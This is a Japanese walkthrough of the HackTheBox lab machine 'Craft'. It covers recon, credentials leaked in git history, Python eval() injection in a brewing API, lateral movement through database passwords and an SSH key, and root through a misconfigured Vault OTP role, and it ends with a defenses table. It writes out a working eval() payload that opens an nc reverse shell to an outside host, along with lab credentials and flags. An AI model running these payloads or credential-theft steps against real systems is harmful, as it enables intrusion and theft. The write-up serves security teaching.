HackTheBox: Craft — 全実行コマンド・実行結果レポート
Nmap スキャン
22/443/6022 (2つのSSH!)
→
22/443/6022 (2つのSSH!)
gogs.craft.htb
公開repo匿名clone
→
公開repo匿名clone
git log -p
dineshの平文APIパスワード発見
→
dineshの平文APIパスワード発見
POST /api/brew/
abvフィールドpython eval()インジェクション
→
abvフィールドpython eval()インジェクション
mkfifoリバースシェル
apiコンテナ内 uid=0
→
apiコンテナ内 uid=0
settings.py + DB
gilfoyleのGogsパスワード
→
gilfoyleのGogsパスワード
craft-infra private repo
SSH秘密鍵取得
→
SSH秘密鍵取得
SSH gilfoyle@host
user.txt ✓
→
user.txt ✓
.vault-token + root_otp
Vault root権限トークン悪用
→
Vault root権限トークン悪用
SSH root (OTP)
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p 22,443,6022 10.129.229.45
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 443/tcp open ssl/http nginx 1.15.8 | ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/... 6022/tcp open ssh Golang x/crypto/ssh server (protocol 2.0)
🚨
SSHサービスが2つ(22と6022)存在する。これはDockerコンテナ環境の
典型的な兆候。ポート6022のSSHはGo言語実装(
x/crypto/ssh)であり、
通常のOpenSSHではない — これは内部で稼働するGogs(自己ホストGitサービス)の
組み込みSSHサーバーだと後で判明する。TLS証明書のCN(craft.htb)を
/etc/hostsに登録する。
サブドメイン発見
BASH
curl -sk https://craft.htb/ | grep -oE 'https://[a-z.]*craft\.htb[^"]*' wfuzz -u "https://10.129.229.45" \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1mil-20000.txt \ -H "Host: FUZZ.craft.htb" --hh 3779
RESULT
トップページのリンクから: api.craft.htb, gogs.craft.htb wfuzzでさらに発見: vault.craft.htb
BASH
echo "10.129.229.45 craft.htb api.craft.htb gogs.craft.htb vault.craft.htb" >> /etc/hosts
ℹ️
craft.htb: ビール会社のサイト(トップページのみ)
api.craft.htb: ビールAPIのSwagger風GUI
gogs.craft.htb: Gogs(自己ホストGitサービス)
vault.craft.htb: HashiCorp Vault(
4つのサブドメイン全てが後の攻略チェーンで重要な役割を果たす。
api.craft.htb: ビールAPIのSwagger風GUI
gogs.craft.htb: Gogs(自己ホストGitサービス)
vault.craft.htb: HashiCorp Vault(
/v1/のみ応答)4つのサブドメイン全てが後の攻略チェーンで重要な役割を果たす。
PHASE 2
Gogsコミット履歴からの資格情報漏洩
公開リポジトリを匿名clone
BASH
git clone -c http.sslVerify=false https://gogs.craft.htb/Craft/craft-api.git
RESULT
Cloning into 'craft-api'...
(認証不要でclone成功 — Craft/craft-api はpublicリポジトリ)
ℹ️
.gitignoreにsettings.pyが含まれているため
現在のワーキングツリーには機密情報は無いが、コミット履歴には
残っている可能性がある。特にtests/test.pyは
API呼び出しのテストスクリプトであり、開発者が動作確認用に実際の
資格情報を一時的にハードコードしがちなファイル。
test.py のコミット履歴を確認
BASH
cd craft-api git log -p --all -- tests/test.py
RESULT
commit a2d28ed... (Cleanup test) -response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) +response = requests.get('https://api.craft.htb/api/auth/login', auth=('', ''), verify=False) commit 10e3ba4... (add test script) +response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
🚨
決定的な発見: 現在のコミットでは認証情報が空文字列に
「クリーンアップ」されているが、1つ前のコミット(初回追加時)には
平文の資格情報がそのまま残っている。gitは履歴全体を保持するため、
「消した」つもりのファイルも過去のコミットから復元できる。
dinesh:4aUh0A8PbVJxgd を取得。
PHASE 3
Flask API — python eval() インジェクション
APIへログインしJWTトークンを取得
BASH
curl -sk -X GET "https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login" \ -H "accept: application/json"
RESULT
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."}
ℹ️
HTTP Basic Auth形式(
https://user:pass@host/...)でログインすると
JWTトークンが返る。このトークンは5分で失効するため、
以降の操作は都度新規取得するか手早く実行する必要がある。
Gogs上のソースコードで eval() 注入箇所を発見
NOTE
Gogsの "Bogus ABV values" Issueのコメント履歴を確認すると、開発者が
abv(アルコール度数)フィールドのバリデーションに eval() を使っており、
別の開発者が「こんな "修正" はまずい、何か酷いことが起きる前に消せ」と
警告している。実際のコードは概ね以下の形:
if eval('%s > 1' % request.json['abv']):
return "ABV must be a decimal value less than 1.0"
request.json['abv'] はユーザーが完全に制御できる文字列であり、そのまま
eval() へ渡される。abvに python 式を注入すると任意コード実行が成立する。
🚨
典型的な python eval() インジェクション。
__import__('os').system('コマンド') をabv値に注入すると、
eval()による式評価の副作用としてOSコマンドが実行される。
ただしPOST /brew/ の正常なレスポンスは null であり、
RCEの出力はHTTPレスポンスへ返らない(ブラインドRCE)。
mkfifoリバースシェルで対話シェルへ転換
BASH (Kali側リスナー準備)
mkfifo /tmp/craft_fifo nohup bash -c 'exec 9<>/tmp/craft_fifo; while :; do sleep 3600; done' & nohup nc -lnvp 14801 < /tmp/craft_fifo > /tmp/craft_shell.log 2>&1 &
BASH (ペイロード送信)
TOKEN=$(curl -sk "https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
PAYLOAD="__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.200 14801 >/tmp/f')"
curl -sk -X POST "https://api.craft.htb/api/brew/" \
-H "accept: application/json" -H "Content-Type: application/json" \
-H "X-CRAFT-API-TOKEN: $TOKEN" \
--data "{\"id\": 0, \"brewer\": \"kali\", \"name\": \"beer\", \"style\": \"bad\", \"abv\": \"$PAYLOAD\"}"
RESULT
HTTP: 504 Gateway Time-out (予想通り — ncチェーンが接続を保持するためHTTPは
ハングしタイムアウトする。RCE自体は既に発火済み)
listening on [any] 14801 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.229.45] 34255
/bin/sh: can't access tty; job control turned off
/opt/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/opt/app # hostname
5a3d243127f5
✅
RCE成功! ただし
uid=0(root)でも
hostnameがコンテナIDらしき値を返しており、これは
Dockerコンテナ内のrootであってホストのrootではない。
ホストへの横展開が別途必要になる。
PHASE 4
DB資格情報奪取 → gilfoyleのSSH鍵 → user.txt
settings.py からMySQL資格情報を取得
BASH (リバースシェル内)
cat /opt/app/craft_api/settings.py
RESULT
CRAFT_API_SECRET = 'hz66OCkDtv8G6D' MYSQL_DATABASE_USER = 'craft' MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O' MYSQL_DATABASE_DB = 'craft' MYSQL_DATABASE_HOST = 'db'
任意SQLクエリ実行スクリプトを配置
PYTHON (アプリ既存の dbtest.py を流用)
import pymysql, sys
from craft_api import settings
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = sys.argv[1]
cursor.execute(sql)
print(cursor.fetchall())
finally:
connection.close()
⚠️
落とし穴: このスクリプトを
/tmpなど
/opt/app以外の場所に置くと
ModuleNotFoundError: No module named 'craft_api'で失敗する。
pythonはスクリプト自身が置かれたディレクトリをsys.path[0]
(importの起点)にするため、craft_apiパッケージを解決できるよう
スクリプトを必ず/opt/app直下に配置する必要がある。
BASH
cd /opt/app && python .dbq.py "SELECT * from user"
RESULT
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'},
{'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'},
{'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
gilfoyleでGogsにログインし private リポジトリからSSH鍵を取得
BASH
git clone -c http.sslVerify=false \ https://gilfoyle:ZEU3N8WNM2rh4T@gogs.craft.htb/gilfoyle/craft-infra.git
RESULT
Cloning into 'craft-infra'...
craft-infra/.ssh/id_rsa
craft-infra/.ssh/id_rsa.pub
craft-infra/docker-compose.yml
craft-infra/vault/secrets.sh ...
🚨
DBから得たgilfoyleの資格情報でGogsにログインすると、
Developer権限で見えるprivateリポジトリ
gilfoyle/craft-infraが存在し、
インフラ全体の docker-compose.yml や
SSH秘密鍵ペアが丸ごと含まれている。
パスフレーズはGogsのパスワードと同一
(ZEU3N8WNM2rh4T)。
ホストへSSHしuser.txt取得
BASH
chmod 600 craft-infra/.ssh/id_rsa sshpass -P "passphrase" -p 'ZEU3N8WNM2rh4T' \ ssh -i craft-infra/.ssh/id_rsa gilfoyle@10.129.229.45 "id; cat ~/user.txt"
RESULT
uid=1001(gilfoyle) gid=1001(gilfoyle) groups=1001(gilfoyle)
5ceb6f1f67c419cdb5356c09282da246
user.txt — gilfoyle
5ceb6f1f67c419cdb5356c09282da246
ℹ️
今回接続したのはポート22(コンテナではなくホスト本体)。
Dockerコンテナ内のRCEから、DB経由の資格情報漏洩→Git private repo経由の
SSH鍵取得という2段の横展開でホスト上のシェルへ到達した。
PHASE 5
HashiCorp Vault の調査
gilfoyleのホームディレクトリと環境変数を確認
BASH
gilfoyle@craft:~$ env | grep VAULT gilfoyle@craft:~$ cat ~/.vault-token gilfoyle@craft:~$ which vault
RESULT
VAULT_ADDR=https://vault.craft.htb:8200/
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
/usr/local/bin/vault
🚨
決定的な発見: gilfoyleのホームに
.vault-tokenが
平文で残されている。vault token lookupで確認すると、この
トークンはpolicies: [root]を持つVaultの最上位権限
トークンだった。
craft-infra リポジトリの secrets.sh から Vault SSH機能を確認
BASH (craft-infra/vault/secrets.sh)
#!/bin/bash
# set up vault secrets backend
vault secrets enable ssh
vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0
🚨
致命的な設定不備: VaultのSSHシークレットエンジンに
root_otpというロールが設定されており、
default_user=root、しかもcidr_list=0.0.0.0/0
(発行対象IPの制限なし)。つまりVaultのroot トークンさえ持っていれば、
任意のIPに対してrootログイン用のワンタイムパスワードを
いくらでも発行できる。
PHASE 6
Vault root OTP → root.txt
Kali自身のIP向けにroot用OTPを非対話発行
BASH (gilfoyleのSSHセッション経由)
OTP=$(sshpass -P "passphrase" -p 'ZEU3N8WNM2rh4T' \ ssh -i craft-infra/.ssh/id_rsa gilfoyle@10.129.229.45 \ "VAULT_TOKEN=f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9 \ vault write -field=key ssh/creds/root_otp ip=10.129.229.45") echo "OTP=$OTP"
RESULT
OTP=14308c15-2013-4e6d-3368-c493b2f31adf
ℹ️
公式ウォークスルーは対話コマンド
vault ssh -mode=otp -role=root_otp
root@127.0.0.1を使うが、内部的にはこのコマンドも
vault write ssh/creds/root_otp相当のAPI呼び出しでOTPを
取得した後にsshクライアントを起動しているだけ。ターゲット側に
sshpassが存在しないため(Vault自身が
“Vault could not locate sshpass” と警告する)、
OTP発行だけを非対話で行い、実際にOTPを消費するSSH接続は
Kali側から直接実行する設計にすることで自動化できる。
発行されたOTPでrootとしてSSHログイン
BASH (Kaliから直接)
sshpass -p "$OTP" ssh -o StrictHostKeyChecking=no root@10.129.229.45 \ "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root) a0caa0de264d8ad958531c2e0212ea46
root.txt — root@craft
a0caa0de264d8ad958531c2e0212ea46
✅
root化成功! Vaultの
ssh/creds/root_otp
エンドポイントは、PAM連携によりOTPを一度だけ有効なワンタイムパスワード
として機能させる。cidr_list制限がないため、Vault root トークンさえ
窃取すればターゲットホストのどこにも追加のマルウェアや
リバースシェルを置くことなく正規のSSH経路でroot化できる。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — gilfoyle
5ceb6f1f67c419cdb5356c09282da246
root.txt — root@craft
a0caa0de264d8ad958531c2e0212ea46
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Gitコミット履歴の資格情報残留 | Craft/craft-api (tests/test.py) | APIログイン資格情報の平文取得 | Medium | 「削除」したつもりの認証情報が過去コミットに残存、git log -pで復元 |
| Python eval() インジェクション | api.craft.htb POST /api/brew/ (abvフィールド) | リモートコード実行 (Dockerコンテナ内root) | Critical | ユーザー制御可能な文字列を直接eval()に渡す実装不備を悪用しmkfifoリバースシェル確立 |
| アプリ設定ファイル/DBの平文資格情報連鎖 | settings.py + MySQL user テーブル | 横展開 (コンテナ → Gogs → ホスト) | High | DB内ユーザーテーブルの平文パスワードでGogsログインし、private repoからSSH鍵窃取 |
| Vault root OTPロールの制限なし発行設定 | ssh/roles/root_otp (cidr_list=0.0.0.0/0) | 権限昇格 (gilfoyle → root) | Critical | ホームに残されたVault rootトークンを使い任意IP向けにroot用ワンタイムパスワードを発行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + wfuzz サブドメイン発見 | 4つのvhost(craft/api/gogs/vault) |
| 2 | 資格情報漏洩 | git clone + log -p –all | dinesh:4aUh0A8PbVJxgd (API) |
| 3 | RCE | eval()インジェクション + mkfifoリバースシェル | apiコンテナ内RCE(uid=0) |
| 4 | 横展開 | settings.py + DB query + Gogs private repo | user.txt取得(gilfoyle SSH鍵経由) |
| 5 | Vault調査 | .vault-token + secrets.sh解析 | root_otpロールの設定不備発見 |
| 6 | 権限昇格 | vault write ssh/creds/root_otp | root.txt取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 開発者が動作確認用に資格情報をコードへ直接記入し、後で「削除」したつもりが git履歴に残存 | 資格情報は一切コードに書かない。誤ってコミットした場合は
git filter-repo等で履歴自体を書き換え、該当パスワードは
必ずローテーションする。 |
ユーザー制御可能な入力を直接eval()へ渡すバリデーション実装 |
eval()/exec()を信頼できない入力に対して
絶対に使わない。数値バリデーションはfloat()変換+例外処理等
安全な方法で行う。 |
| 同一の平文パスワードがDB・アプリ設定・Gitホスティングサービスなど 複数システムで使い回されている | システムごとに独立したパスワードを使用する。可能であれば シークレットマネージャで一元管理しローテーションを自動化する。 |
| Vaultのroot権限トークンが一般ユーザーのホームディレクトリに平文で保存され、 しかもSSH OTPロールが送信元IP制限なしで有効化されている | rootトークンは長期間ディスクに残さず短命化する。Vaultポリシーは
最小権限に分割しroot トークンの直接利用を避ける。SSHロールには
必ず適切なcidr_list制限を設定する。 |

